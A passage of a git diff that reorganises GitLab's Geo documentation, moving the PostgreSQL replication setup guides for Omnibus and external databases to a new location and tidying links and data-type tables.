+
+For information on using Geo in disaster recovery situations to mitigate data-loss and restore services, see [Disaster Recovery](disaster_recovery/index.md).
+
+### Replicating the Container Registry
+
+For more information on how to replicate the Container Registry, see [Docker Registry for a **secondary** node](replication/docker_registry.md).
+
+### Security Review
+
+For more information on Geo security, see [Geo security review](replication/security_review.md).
+
+### Tuning Geo
+
+For more information on tuning Geo, see [Tuning Geo](replication/tuning.md).
+
+### Set up a location-aware Git URL
+
+For an example of how to set up a location-aware Git remote URL with AWS Route53, see [Location-aware Git remote URL with AWS Route53](replication/location_aware_git_url.md).
+
+## Remove Geo node
+
+For more information on removing a Geo node, see [Removing **secondary** Geo nodes](replication/remove_geo_node.md).
+
+## Disable Geo
+
+To find out how to disable Geo, see [Disabling Geo](replication/disable_geo.md).
+
+## Current limitations
+
+CAUTION: **Caution:**
+This list of limitations only reflects the latest version of GitLab. If you are using an older version, extra limitations may be in place.
+
+- Pushing directly to a **secondary** node redirects (for HTTP) or proxies (for SSH) the request to the **primary** node instead of [handling it directly](https://gitlab.com/gitlab-org/gitlab/-/issues/1381), except when using Git over HTTP with credentials embedded within the URI. For example, `https://user:password@secondary.tld`.
+- Cloning, pulling, or pushing repositories that exist on the **primary** node but not on the **secondary** nodes where [selective synchronization](replication/configuration.md#selective-synchronization) does not include the project is not supported over SSH [but support is planned](https://gitlab.com/groups/gitlab-org/-/epics/2562). HTTP(S) is supported.
+- The **primary** node has to be online for OAuth login to happen. Existing sessions and Git are not affected. Support for the **secondary** node to use an OAuth provider independent from the primary is [being planned](https://gitlab.com/gitlab-org/gitlab/-/issues/208465).
+- The installation takes multiple manual steps that together can take about an hour depending on circumstances. We are working on improving this experience. See [Omnibus GitLab issue #2978](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/2978) for details.
+- Real-time updates of issues/merge requests (for example, via long polling) doesn't work on the **secondary** node.
+- [Selective synchronization](replication/configuration.md#selective-synchronization) applies only to files and repositories. Other datasets are replicated to the **secondary** node in full, making it inappropriate for use as an access control mechanism.
+- Object pools for forked project deduplication work only on the **primary** node, and are duplicated on the **secondary** node.
+- [External merge request diffs](../merge_request_diffs.md) will not be replicated if they are on-disk, and viewing merge requests will fail. However, external MR diffs in object storage **are** supported. The default configuration (in-database) does work.
+- GitLab Runners cannot register with a **secondary** node. Support for this is [planned for the future](https://gitlab.com/gitlab-org/gitlab/-/issues/3294).
+
+### Limitations on replication/verification
+
+You can keep track of the progress to implement the missing items in
+these epics/issues:
+
+- [Unreplicated Data Types](https://gitlab.com/groups/gitlab-org/-/epics/893)
+- [Verify all replicated data](https://gitlab.com/groups/gitlab-org/-/epics/1430)
+
+There is a complete list of all GitLab [data types](replication/datatypes.md) and [existing support for replication and verification](replication/datatypes.md#limitations-on-replicationverification).
+
+## Frequently Asked Questions
+
+For answers to common questions, see the [Geo FAQ](replication/faq.md).
+
+## Log files
+
+Since GitLab 9.5, Geo stores structured log messages in a `geo.log` file. For Omnibus installations, this file is at `/var/log/gitlab/gitlab-rails/geo.log`.
+
+This file contains information about when Geo attempts to sync repositories and files. Each line in the file contains a separate JSON entry that can be ingested into. For example, Elasticsearch or Splunk.
+
+For example:
+
+```json
+{"severity":"INFO","time":"2017-08-06T05:40:16.104Z","message":"Repository update","project_id":1,"source":"repository","resync_repository":true,"resync_wiki":true,"class":"Gitlab::Geo::LogCursor::Daemon","cursor_delay_s":0.038}
+```
+
+This message shows that Geo detected that a repository update was needed for project `1`.
+
+## Troubleshooting
+
+For troubleshooting steps, see [Geo Troubleshooting](replication/troubleshooting.md).
diff --git a/doc/administration/geo/replication/configuration.md b/doc/administration/geo/replication/configuration.md
index 74fa8e3b8f2..8c818bcfbe2 100644
--- a/doc/administration/geo/replication/configuration.md
+++ b/doc/administration/geo/replication/configuration.md
@@ -12,7 +12,7 @@ type: howto
NOTE: **Note:**
This is the final step in setting up a **secondary** Geo node. Stages of the
setup process must be completed in the documented order.
-Before attempting the steps in this stage, [complete all prior stages](index.md#using-omnibus-gitlab).
+Before attempting the steps in this stage, [complete all prior stages](../setup/index.md#using-omnibus-gitlab).
The basic steps of configuring a **secondary** node are to:
diff --git a/doc/administration/geo/replication/database.md b/doc/administration/geo/replication/database.md
index 0bc37ce6438..da5376190b9 100644
--- a/doc/administration/geo/replication/database.md
+++ b/doc/administration/geo/replication/database.md
@@ -1,469 +1,5 @@
---
-stage: Enablement
-group: Geo
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
-type: howto
+redirect_to: '../setup/database.md'
---
-# Geo database replication **(PREMIUM ONLY)**
-
-NOTE: **Note:**
-If your GitLab installation uses external (not managed by Omnibus) PostgreSQL
-instances, the Omnibus roles will not be able to perform all necessary
-configuration steps. In this case,
-[follow the Geo with external PostgreSQL instances document instead](external_database.md).
-
-NOTE: **Note:**
-The stages of the setup process must be completed in the documented order.
-Before attempting the steps in this stage, [complete all prior stages](index.md#using-omnibus-gitlab).
-
-This document describes the minimal steps you have to take in order to
-replicate your **primary** GitLab database to a **secondary** node's database. You may
-have to change some values according to your database setup, how big it is, etc.
-
-You are encouraged to first read through all the steps before executing them
-in your testing/production environment.
-
-## PostgreSQL replication
-
-The GitLab **primary** node where the write operations happen will connect to
-the **primary** database server, and **secondary** nodes will
-connect to their own database servers (which are also read-only).
-
-We recommend using [PostgreSQL replication slots](https://medium.com/@tk512/replication-slots-in-postgresql-b4b03d277c75)
-to ensure that the **primary** node retains all the data necessary for the **secondary** nodes to
-recover. See below for more details.
-
-The following guide assumes that:
-
-- You are using Omnibus and therefore you are using PostgreSQL 11 or later
- which includes the [`pg_basebackup` tool](https://www.postgresql.org/docs/11/app-pgbasebackup.html).
-- You have a **primary** node already set up (the GitLab server you are
- replicating from), running Omnibus' PostgreSQL (or equivalent version), and
- you have a new **secondary** server set up with the same versions of the OS,
- PostgreSQL, and GitLab on all nodes.
-
-CAUTION: **Warning:**
-Geo works with streaming replication. Logical replication is not supported at this time.
-There is an [issue where support is being discussed](https://gitlab.com/gitlab-org/gitlab/-/issues/7420).
-
-### Step 1. Configure the **primary** server
-
-1. SSH into your GitLab **primary** server and login as root:
-
- ```shell
- sudo -i
- ```
-
-1. Edit `/etc/gitlab/gitlab.rb` and add a **unique** name for your node:
-
- ```ruby
- # The unique identifier for the Geo node.
- gitlab_rails['geo_node_name'] = '<node_name_here>'
- ```
-
-1. Reconfigure the **primary** node for the change to take effect:
-
- ```shell
- gitlab-ctl reconfigure
- ```
-
-1. Execute the command below to define the node as **primary** node:
-
- ```shell
- gitlab-ctl set-geo-primary-node
- ```
-
- This command will use your defined `external_url` in `/etc/gitlab/gitlab.rb`.
-
-1. GitLab 10.4 and up only: Do the following to make sure the `gitlab` database user has a password defined:
-
- Generate a MD5 hash of the desired password:
-
- ```shell
- gitlab-ctl pg-password-md5 gitlab
- # Enter password: <your_password_here>
- # Confirm password: <your_password_here>
- # fca0b89a972d69f00eb3ec98a5838484
- ```
-
- Edit `/etc/gitlab/gitlab.rb`:
-
- ```ruby
- # Fill with the hash generated by `gitlab-ctl pg-password-md5 gitlab`
- postgresql['sql_user_password'] = '<md5_hash_of_your_password>'
-
- # Every node that runs Puma or Sidekiq needs to have the database
- # password specified as below. If you have a high-availability setup, this
- # must be present in all application nodes.
- gitlab_rails['db_password'] = '<your_password_here>'
- ```
-
-1. Omnibus GitLab already has a [replication user](https://wiki.postgresql.org/wiki/Streaming_Replication)
- called `gitlab_replicator`. You must set the password for this user manually.
- You will be prompted to enter a password:
-
- ```shell
- gitlab-ctl set-replication-password
- ```
-
- This command will also read the `postgresql['sql_replication_user']` Omnibus
- setting in case you have changed `gitlab_replicator` username to something
- else.
-
- If you are using an external database not managed by Omnibus GitLab, you need
- to create the replicator user and define a password to it manually:
-
- ```sql
- --- Create a new user 'replicator'
- CREATE USER gitlab_replicator;
-
- --- Set/change a password and grants replication privilege
- ALTER USER gitlab_replicator WITH REPLICATION ENCRYPTED PASSWORD '<replication_password>';
- ```
-
-1. Configure PostgreSQL to listen on network interfaces:
-
- For security reasons, PostgreSQL does not listen on any network interfaces
- by default. However, Geo requires the **secondary** node to be able to
- connect to the **primary** node's database. For this reason, we need the address of
- each node.
-
- NOTE: **Note:**
- For external PostgreSQL instances, see [additional instructions](external_database.md).
-
- If you are using a cloud provider, you can lookup the addresses for each
- Geo node through your cloud provider's management console.
-
- To lookup the address of a Geo node, SSH in to the Geo node and execute:
-
- ```shell
- ##
- ## Private address
- ##
- ip route get 255.255.255.255 | awk '{print "Private address:", $NF; exit}'
-
- ##
- ## Public address
- ##
- echo "External address: $(curl --silent ipinfo.io/ip)"
- ```
-
- In most cases, the following addresses will be used to configure GitLab
- Geo:
-
- | Configuration | Address |
- |:----------------------------------------|:------------------------------------------------------|
- | `postgresql['listen_address']` | **Primary** node's public or VPC private address. |
- | `postgresql['md5_auth_cidr_addresses']` | **Secondary** node's public or VPC private addresses. |
-
- If you are using Google Cloud Platform, SoftLayer, or any other vendor that
- provides a virtual private cloud (VPC) you can use the **primary** and **secondary** nodes
- private addresses (corresponds to "internal address" for Google Cloud Platform) for
- `postgresql['md5_auth_cidr_addresses']` and `postgresql['listen_address']`.
-
- The `listen_address` option opens PostgreSQL up to network connections with the interface
- corresponding to the given address. See [the PostgreSQL documentation](https://www.postgresql.org/docs/11/runtime-config-connection.html)
- for more details.
-
- NOTE: **Note:**
- If you need to use `0.0.0.0` or `*` as the listen_address, you will also need to add
- `127.0.0.1/32` to the `postgresql['md5_auth_cidr_addresses']` setting, to allow Rails to connect through
- `127.0.0.1`. For more information, see [omnibus-5258](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/5258).
-
- Depending on your network configuration, the suggested addresses may not
- be correct. If your **primary** node and **secondary** nodes connect over a local
- area network, or a virtual network connecting availability zones like
- [Amazon's VPC](https://aws.amazon.com/vpc/) or [Google's VPC](https://cloud.google.com/vpc/)
- you should use the **secondary** node's private address for `postgresql['md5_auth_cidr_addresses']`.
-
- Edit `/etc/gitlab/gitlab.rb` and add the following, replacing the IP
- addresses with addresses appropriate to your network configuration:
-
- ```ruby
- ##
- ## Geo Primary role
- ## - configure dependent flags automatically to enable Geo
- ##
- roles ['geo_primary_role']
-
- ##
- ## Primary address
- ## - replace '<primary_node_ip>' with the public or VPC address of your Geo primary node
- ##
- postgresql['listen_address'] = '<primary_node_ip>'
-
- ##
- # Allow PostgreSQL client authentication from the primary and secondary IPs. These IPs may be
- # public or VPC addresses in CIDR format, for example ['198.51.100.1/32', '198.51.100.2/32']
- ##
- postgresql['md5_auth_cidr_addresses'] = ['<primary_node_ip>/32', '<secondary_node_ip>/32']
-
- ##
- ## Replication settings
- ## - set this to be the number of Geo secondary nodes you have
- ##
- postgresql['max_replication_slots'] = 1
- # postgresql['max_wal_senders'] = 10
- # postgresql['wal_keep_segments'] = 10
-
- ##
- ## Disable automatic database migrations temporarily
- ## (until PostgreSQL is restarted and listening on the private address).
- ##
- gitlab_rails['auto_migrate'] = false
- ```
-
-1. Optional: If you want to add another **secondary** node, the relevant setting would look like:
-
- ```ruby
- postgresql['md5_auth_cidr_addresses'] = ['<primary_node_ip>/32', '<secondary_node_ip>/32', '<another_secondary_node_ip>/32']
- ```
-
- You may also want to edit the `wal_keep_segments` and `max_wal_senders` to match your
- database replication requirements. Consult the [PostgreSQL - Replication documentation](https://www.postgresql.org/docs/11/runtime-config-replication.html)
- for more information.
-
-1. Save the file and reconfigure GitLab for the database listen changes and
- the replication slot changes to be applied:
-
- ```shell
- gitlab-ctl reconfigure
- ```
-
- Restart PostgreSQL for its changes to take effect:
-
- ```shell
- gitlab-ctl restart postgresql
- ```
-
-1. Re-enable migrations now that PostgreSQL is restarted and listening on the
- private address.
-
- Edit `/etc/gitlab/gitlab.rb` and **change** the configuration to `true`:
-
- ```ruby
- gitlab_rails['auto_migrate'] = true
- ```
-
- Save the file and reconfigure GitLab:
-
- ```shell
- gitlab-ctl reconfigure
- ```
-
-1. Now that the PostgreSQL server is set up to accept remote connections, run
- `netstat -plnt | grep 5432` to make sure that PostgreSQL is listening on port
- `5432` to the **primary** server's private address.
-
-1. A certificate was automatically generated when GitLab was reconfigured. This
- will be used automatically to protect your PostgreSQL traffic from
- eavesdroppers, but to protect against active ("man-in-the-middle") attackers,
- the **secondary** node needs a copy of the certificate. Make a copy of the PostgreSQL
- `server.crt` file on the **primary** node by running this command:
-
- ```shell
- cat ~gitlab-psql/data/server.crt
- ```
-
- Copy the output into a clipboard or into a local file. You
- will need it when setting up the **secondary** node! The certificate is not sensitive
- data.
-
-### Step 2. Configure the **secondary** server
-
-1. SSH into your GitLab **secondary** server and login as root:
-
- ```shell
- sudo -i
- ```
-
-1. Stop application server and Sidekiq
-
- ```shell
- gitlab-ctl stop puma
- gitlab-ctl stop sidekiq
- ```
-
- NOTE: **Note:**
- This step is important so we don't try to execute anything before the node is fully configured.
-
-1. [Check TCP connectivity](../../raketasks/maintenance.md) to the **primary** node's PostgreSQL server:
-
- ```shell
- gitlab-rake gitlab:tcp_check[<primary_node_ip>,5432]
- ```
-
- NOTE: **Note:**
- If this step fails, you may be using the wrong IP address, or a firewall may
- be preventing access to the server. Check the IP address, paying close
- attention to the difference between public and private addresses and ensure
- that, if a firewall is present, the **secondary** node is permitted to connect to the
- **primary** node on port 5432.
-
-1. Create a file `server.crt` in the **secondary** server, with the content you got on the last step of the **primary** node's setup:
-
- ```shell
- editor server.crt
- ```
-
-1. Set up PostgreSQL TLS verification on the **secondary** node:
-
- Install the `server.crt` file:
-
- ```shell
- install \
- -D \
- -o gitlab-psql \
- -g gitlab-psql \
- -m 0400 \
- -T server.crt ~gitlab-psql/.postgresql/root.crt
- ```
-
- PostgreSQL will now only recognize that exact certificate when verifying TLS
- connections. The certificate can only be replicated by someone with access
- to the private key, which is **only** present on the **primary** node.
-
-1. Test that the `gitlab-psql` user can connect to the **primary** node's database
- (the default Omnibus database name is `gitlabhq_production`):
-
- ```shell
- sudo \
- -u gitlab-psql /opt/gitlab/embedded/bin/psql \
- --list \
- -U gitlab_replicator \
- -d "dbname=gitlabhq_production sslmode=verify-ca" \
- -W \
- -h <primary_node_ip>
- ```
-
- When prompted enter the password you set in the first step for the
- `gitlab_replicator` user. If all worked correctly, you should see
- the list of **primary** node's databases.
-
- A failure to connect here indicates that the TLS configuration is incorrect.
- Ensure that the contents of `~gitlab-psql/data/server.crt` on the **primary** node
- match the contents of `~gitlab-psql/.postgresql/root.crt` on the **secondary** node.
-
-1. Configure PostgreSQL:
-
- This step is similar to how we configured the **primary** instance.
- We need to enable this, even if using a single node.
-
- Edit `/etc/gitlab/gitlab.rb` and add the following, replacing the IP
- addresses with addresses appropriate to your network configuration:
-
- ```ruby
- ##
- ## Geo Secondary role
- ## - configure dependent flags automatically to enable Geo
- ##
- roles ['geo_secondary_role']
-
- ##
- ## Secondary address
- ## - replace '<secondary_node_ip>' with the public or VPC address of your Geo secondary node
- ##
- postgresql['listen_address'] = '<secondary_node_ip>'
- postgresql['md5_auth_cidr_addresses'] = ['<secondary_node_ip>/32']
-
- ##
- ## Database credentials password (defined previously in primary node)
- ## - replicate same values here as defined in primary node
- ##
- postgresql['sql_user_password'] = '<md5_hash_of_your_password>'
- gitlab_rails['db_password'] = '<your_password_here>'
- ```
-
- For external PostgreSQL instances, see [additional instructions](external_database.md).
- If you bring a former **primary** node back online to serve as a **secondary** node, then you also need to remove `roles ['geo_primary_role']` or `geo_primary_role['enable'] = true`.
-
-1. Reconfigure GitLab for the changes to take effect:
-
- ```shell
- gitlab-ctl reconfigure
- ```
-
-1. Restart PostgreSQL for the IP change to take effect:
-
- ```shell
- gitlab-ctl restart postgresql
- ```
-
-### Step 3. Initiate the replication process
-
-Below we provide a script that connects the database on the **secondary** node to
-the database on the **primary** node, replicates the database, and creates the
-needed files for streaming replication.
-
-The directories used are the defaults that are set up in Omnibus. If you have
-changed any defaults, configure it as you see fit replacing the directories and paths.
-
-CAUTION: **Warning:**
-Make sure to run this on the **secondary** server as it removes all PostgreSQL's
-data before running `pg_basebackup`.
-
-1. SSH into your GitLab **secondary** server and login as root:
-
- ```shell
- sudo -i
- ```
-
-1. Choose a database-friendly name to use for your **secondary** node to
- use as the replication slot name. For example, if your domain is
- `secondary.geo.example.com`, you may use `secondary_example` as the slot
- name as shown in the commands below.
-
-1. Execute the command below to start a backup/restore and begin the replication
-
- CAUTION: **Warning:**
- Each Geo **secondary** node must have its own unique replication slot name.
- Using the same slot name between two secondaries will break PostgreSQL replication.
-
- ```shell
- gitlab-ctl replicate-geo-database \
- --slot-name=<secondary_node_name> \
- --host=<primary_node_ip>
- ```
-
- NOTE: **Note:**
- Replication slot names must only contain lowercase letters, numbers, and the underscore character.
-
- When prompted, enter the _plaintext_ password you set up for the `gitlab_replicator`
- user in the first step.
-
- This command also takes a number of additional options. You can use `--help`
- to list them all, but here are a couple of tips:
-
- - If PostgreSQL is listening on a non-standard port, add `--port=` as well.
- - If your database is too large to be transferred in 30 minutes, you will need
- to increase the timeout, e.g., `--backup-timeout=3600` if you expect the
- initial replication to take under an hour.
- - Pass `--sslmode=disable` to skip PostgreSQL TLS authentication altogether
- (e.g., you know the network path is secure, or you are using a site-to-site
- VPN). This is **not** safe over the public Internet!
- - You can read more details about each `sslmode` in the
- [PostgreSQL documentation](https://www.postgresql.org/docs/11/libpq-ssl.html#LIBPQ-SSL-PROTECTION);
- the instructions above are carefully written to ensure protection against
- both passive eavesdroppers and active "man-in-the-middle" attackers.
- - Change the `--slot-name` to the name of the replication slot
- to be used on the **primary** database. The script will attempt to create the
- replication slot automatically if it does not exist.
- - If you're repurposing an old server into a Geo **secondary** node, you'll need to
- add `--force` to the command line.
- - When not in a production machine you can disable backup step if you
- really sure this is what you want by adding `--skip-backup`
-
-The replication process is now complete.
-
-## PgBouncer support (optional)
-
-[PgBouncer](https://www.pgbouncer.org/) may be used with GitLab Geo to pool
-PostgreSQL connections. We recommend using PgBouncer if you use GitLab in a
-high-availability configuration with a cluster of nodes supporting a Geo
-**primary** node and another cluster of nodes supporting a Geo **secondary** node. For more
-information, see [High Availability with Omnibus GitLab](../../postgresql/replication_and_failover.md).
-
-## Troubleshooting
-
-Read the [troubleshooting document](troubleshooting.md).
+This document was moved to [another location](../setup/index.md).
diff --git a/doc/administration/geo/replication/datatypes.md b/doc/administration/geo/replication/datatypes.md
index b8d01e80371..166a724f9c1 100644
--- a/doc/administration/geo/replication/datatypes.md
+++ b/doc/administration/geo/replication/datatypes.md
@@ -45,8 +45,8 @@ verification methods:
| Blobs | Archived CI build traces _(object storage)_ | Geo with API/Managed (*2*) | _Not implemented_ |
| Blobs | Container registry _(filesystem)_ | Geo with API/Docker API | _Not implemented_ |
| Blobs | Container registry _(object storage)_ | Geo with API/Managed/Docker API (*2*) | _Not implemented_ |
-| Blobs | Package registry _(filesystem)_ | Geo with API | _Not implemented_ |
-| Blobs | Package registry _(object storage)_ | Geo with API/Managed (*2*) | _Not implemented_ |
+| Blobs | Package registry _(filesystem)_ | Geo with API | _Not implemented_ |
+| Blobs | Package registry _(object storage)_ | Geo with API/Managed (*2*) | _Not implemented_ |
- (*1*): Redis replication can be used as part of HA with Redis sentinel. It's not used between Geo nodes.
- (*2*): Object storage replication can be performed by Geo or by your object storage provider/appliance
@@ -134,7 +134,7 @@ The replication for some data types is behind a corresponding feature flag:
> - They're enabled on GitLab.com.
> - They can't be enabled or disabled per-project.
> - They are recommended for production use.
-> - For GitLab self-managed instances, GitLab administrators can opt to [disable them](#enable-or-disable-replication-for-some-data-types-core-only). **(CORE ONLY)**
+> - For GitLab self-managed instances, GitLab administrators can opt to [disable them](#enable-or-disable-replication-for-some-data-types). **(CORE ONLY)**
#### Enable or disable replication (for some data types) **(CORE ONLY)**
@@ -160,34 +160,34 @@ replicating data from those features will cause the data to be **lost**.
If you wish to use those features on a **secondary** node, or to execute a failover
successfully, you must replicate their data using some other means.
-| Feature | Replicated (added in GitLab version) | Verified (added in GitLab version) | Notes |
-|:---------------------------------------------------------------------|:---------------------------------------------------------|:--------------------------------------------------------|:-----------------------------------------------------------------------------------------------------------|
-| Application data in PostgreSQL | **Yes** (10.2) | **Yes** (10.2) | |
-| Project repository | **Yes** (10.2) | **Yes** (10.7) | |
-| Project wiki repository | **Yes** (10.2) | **Yes** (10.7) | |
-| Project designs repository | **Yes** (12.7) | [No](https://gitlab.com/gitlab-org/gitlab/-/issues/32467) | |
-| Uploads | **Yes** (10.2) | [No](https://gitlab.com/groups/gitlab-org/-/epics/1817) | Verified only on transfer, or manually (*1*) |
-| LFS objects | **Yes** (10.2) | [No](https://gitlab.com/gitlab-org/gitlab/-/issues/8922) | Verified only on transfer, or manually (*1*). Unavailable for new LFS objects in 11.11.x and 12.0.x (*2*). |
-| CI job artifacts (other than traces) | **Yes** (10.4) | [No](https://gitlab.com/gitlab-org/gitlab/-/issues/8923) | Verified only manually (*1*) |
-| Archived traces | **Yes** (10.4) | [No](https://gitlab.com/gitlab-org/gitlab/-/issues/8923) | Verified only on transfer, or manually (*1*) |
-| Personal snippets | **Yes** (10.2) | **Yes** (10.2) | |
-| [Versioned snippets](../../../user/snippets.md#versioned-snippets) | [No](https://gitlab.com/groups/gitlab-org/-/epics/2809) | [No](https://gitlab.com/groups/gitlab-org/-/epics/2810) | |
-| Project snippets | **Yes** (10.2) | **Yes** (10.2) | |
-| Object pools for forked project deduplication | **Yes** | No | |
-| [Server-side Git hooks](../../server_hooks.md) | No | No | |
-| [Elasticsearch integration](../../../integration/elasticsearch.md) | [No](https://gitlab.com/gitlab-org/gitlab/-/issues/1186) | No | |
-| [GitLab Pages](../../pages/index.md) | [No](https://gitlab.com/groups/gitlab-org/-/epics/589) | No | |
-| [Container Registry](../../packages/container_registry.md) | **Yes** (12.3) | No | |
-| [NPM Registry](../../../user/packages/npm_registry/index.md) | **Yes** (13.2) | No | Behind feature flag `geo_package_file_replication`, enabled by default | |
-| [Maven Repository](../../../user/packages/maven_repository/index.md) | **Yes** (13.2) | No | Behind feature flag `geo_package_file_replication`, enabled by default | |
-| [Conan Repository](../../../user/packages/conan_repository/index.md) | **Yes** (13.2) | No | Behind feature flag `geo_package_file_replication`, enabled by default | |
-| [NuGet Repository](../../../user/packages/nuget_repository/index.md) | **Yes** (13.2) | No | Behind feature flag `geo_package_file_replication`, enabled by default | |
-| [PyPi Repository](../../../user/packages/pypi_repository/index.md) | **Yes** (13.2) | No | Behind feature flag `geo_package_file_replication`, enabled by default | |
-| [Composer Repository](../../../user/packages/composer_repository/index.md) | **Yes** (13.2) | No | Behind feature flag `geo_package_file_replication`, enabled by default | |
-| [External merge request diffs](../../merge_request_diffs.md) | [No](https://gitlab.com/gitlab-org/gitlab/-/issues/33817) | No | |
-| [Terraform State](../../terraform_state.md) | [No](https://gitlab.com/groups/gitlab-org/-/epics/3112)(*3*) | No | |
-| [Vulnerability Export](../../../user/application_security/security_dashboard/#export-vulnerabilities) | [No](https://gitlab.com/groups/gitlab-org/-/epics/3111)(*3*) | No | | |
-| Content in object storage | **Yes** (12.4) | No | |
+| Feature | Replicated (added in GitLab version) | Verified (added in GitLab version) | Notes |
+|:------------------------------------------------------------------------------------------------------|:-------------------------------------------------------------|:----------------------------------------------------------|:-----------------------------------------------------------------------------------------------------------|
+| Application data in PostgreSQL | **Yes** (10.2) | **Yes** (10.2) | |
+| Project repository | **Yes** (10.2) | **Yes** (10.7) | |
+| Project wiki repository | **Yes** (10.2) | **Yes** (10.7) | |
+| Project designs repository | **Yes** (12.7) | [No](https://gitlab.com/gitlab-org/gitlab/-/issues/32467) | |
+| Uploads | **Yes** (10.2) | [No](https://gitlab.com/groups/gitlab-org/-/epics/1817) | Verified only on transfer, or manually (*1*) |
+| LFS objects | **Yes** (10.2) | [No](https://gitlab.com/gitlab-org/gitlab/-/issues/8922) | Verified only on transfer, or manually (*1*). Unavailable for new LFS objects in 11.11.x and 12.0.x (*2*). |
+| CI job artifacts (other than traces) | **Yes** (10.4) | [No](https://gitlab.com/gitlab-org/gitlab/-/issues/8923) | Verified only manually (*1*) |
+| Archived traces | **Yes** (10.4) | [No](https://gitlab.com/gitlab-org/gitlab/-/issues/8923) | Verified only on transfer, or manually (*1*) |
+| Personal snippets | **Yes** (10.2) | **Yes** (10.2) | |
+| [Versioned snippets](../../../user/snippets.md#versioned-snippets) | [No](https://gitlab.com/groups/gitlab-org/-/epics/2809) | [No](https://gitlab.com/groups/gitlab-org/-/epics/2810) | |
+| Project snippets | **Yes** (10.2) | **Yes** (10.2) | |
+| Object pools for forked project deduplication | **Yes** | No | |
+| [Server-side Git hooks](../../server_hooks.md) | No | No | |
+| [Elasticsearch integration](../../../integration/elasticsearch.md) | [No](https://gitlab.com/gitlab-org/gitlab/-/issues/1186) | No | |
+| [GitLab Pages](../../pages/index.md) | [No](https://gitlab.com/groups/gitlab-org/-/epics/589) | No | |
+| [Container Registry](../../packages/container_registry.md) | **Yes** (12.3) | No | |
+| [NPM Registry](../../../user/packages/npm_registry/index.md) | **Yes** (13.2) | No | Behind feature flag `geo_package_file_replication`, enabled by default |
+| [Maven Repository](../../../user/packages/maven_repository/index.md) | **Yes** (13.2) | No | Behind feature flag `geo_package_file_replication`, enabled by default |
+| [Conan Repository](../../../user/packages/conan_repository/index.md) | **Yes** (13.2) | No | Behind feature flag `geo_package_file_replication`, enabled by default |
+| [NuGet Repository](../../../user/packages/nuget_repository/index.md) | **Yes** (13.2) | No | Behind feature flag `geo_package_file_replication`, enabled by default |
+| [PyPi Repository](../../../user/packages/pypi_repository/index.md) | **Yes** (13.2) | No | Behind feature flag `geo_package_file_replication`, enabled by default |
+| [Composer Repository](../../../user/packages/composer_repository/index.md) | **Yes** (13.2) | No | Behind feature flag `geo_package_file_replication`, enabled by default |
+| [External merge request diffs](../../merge_request_diffs.md) | [No](https://gitlab.com/gitlab-org/gitlab/-/issues/33817) | No | |
+| [Terraform State](../../terraform_state.md) | [No](https://gitlab.com/groups/gitlab-org/-/epics/3112)(*3*) | No | |
+| [Vulnerability Export](../../../user/application_security/security_dashboard/#export-vulnerabilities) | [No](https://gitlab.com/groups/gitlab-org/-/epics/3111)(*3*) | No | |
+| Content in object storage | **Yes** (12.4) | No | |
- (*1*): The integrity can be verified manually using
[Integrity Check Rake Task](../../raketasks/check.md) on both nodes and comparing
diff --git a/doc/administration/geo/replication/external_database.md b/doc/administration/geo/replication/external_database.md
index d860a3dd368..0d0cd8a37d5 100644
--- a/doc/administration/geo/replication/external_database.md
+++ b/doc/administration/geo/replication/external_database.md
@@ -1,234 +1,5 @@
---
-stage: Enablement
-group: Geo
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
-type: howto
+redirect_to: '../setup/external_database.md'
---
-# Geo with external PostgreSQL instances **(PREMIUM ONLY)**
-
-This document is relevant if you are using a PostgreSQL instance that is *not
-managed by Omnibus*. This includes cloud-managed instances like AWS RDS, or
-manually installed and configured PostgreSQL instances.
-
-NOTE: **Note:**
-We strongly recommend running Omnibus-managed instances as they are actively
-developed and tested. We aim to be compatible with most external
-(not managed by Omnibus) databases but we do not guarantee compatibility.
-
-## **Primary** node
-
-1. SSH into a GitLab **primary** application server and login as root:
-
- ```shell
- sudo -i
- ```
-
-1. Edit `/etc/gitlab/gitlab.rb` and add a **unique** ID for your node (arbitrary value):
-
- ```ruby
- # The unique identifier for the Geo node.
- gitlab_rails['geo_node_name'] = '<node_name_here>'
- ```
-
-1. Reconfigure the **primary** node for the change to take effect:
-
- ```shell
- gitlab-ctl reconfigure
- ```
-
-1. Execute the command below to define the node as **primary** node:
-
- ```shell
- gitlab-ctl set-geo-primary-node
- ```
-
- This command will use your defined `external_url` in `/etc/gitlab/gitlab.rb`.
-
-### Configure the external database to be replicated
-
-To set up an external database, you can either:
-
-- Set up streaming replication yourself (for example, in AWS RDS).
-- Perform the Omnibus configuration manually as follows.
-
-#### Leverage your cloud provider's tools to replicate the primary database
-
-Given you have a primary node set up on AWS EC2 that uses RDS.
-You can now just create a read-only replica in a different region and the
-replication process will be managed by AWS. Make sure you've set Network ACL, Subnet, and
-Security Group according to your needs, so the secondary application node can access the database.
-
-The following instructions detail how to create a read-only replica for common
-cloud providers:
-
-- Amazon RDS - [Creating a Read Replica](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/USER_ReadRepl.html#USER_ReadRepl.Create)
-- Azure Database for PostgreSQL - [Create and manage read replicas in Azure Database for PostgreSQL](https://docs.microsoft.com/en-us/azure/postgresql/howto-read-replicas-portal)
-
-Once your read-only replica is set up, you can skip to [configure you secondary application node](#configure-secondary-application-nodes-to-use-the-external-read-replica).
-
-#### Manually configure the primary database for replication
-
-The [`geo_primary_role`](https://docs.gitlab.com/omnibus/roles/#gitlab-geo-roles)
-configures the **primary** node's database to be replicated by making changes to
-`pg_hba.conf` and `postgresql.conf`. Make the following configuration changes
-manually to your external database configuration and ensure that you restart PostgreSQL
-afterwards for the changes to take effect:
-
-```plaintext
-##
-## Geo Primary Role
-## - pg_hba.conf
-##
-host all all <trusted primary IP>/32 md5
-host replication gitlab_replicator <trusted primary IP>/32 md5
-host all all <trusted secondary IP>/32 md5
-host replication gitlab_replicator <trusted secondary IP>/32 md5
-```
-
-```plaintext
-##
-## Geo Primary Role
-## - postgresql.conf
-##
-wal_level = hot_standby
-max_wal_senders = 10
-wal_keep_segments = 50
-max_replication_slots = 1 # number of secondary instances
-hot_standby = on
-```
-
-## **Secondary** nodes
-
-### Manually configure the replica database
-
-Make the following configuration changes manually to your `pg_hba.conf` and `postgresql.conf`
-of your external replica database and ensure that you restart PostgreSQL afterwards
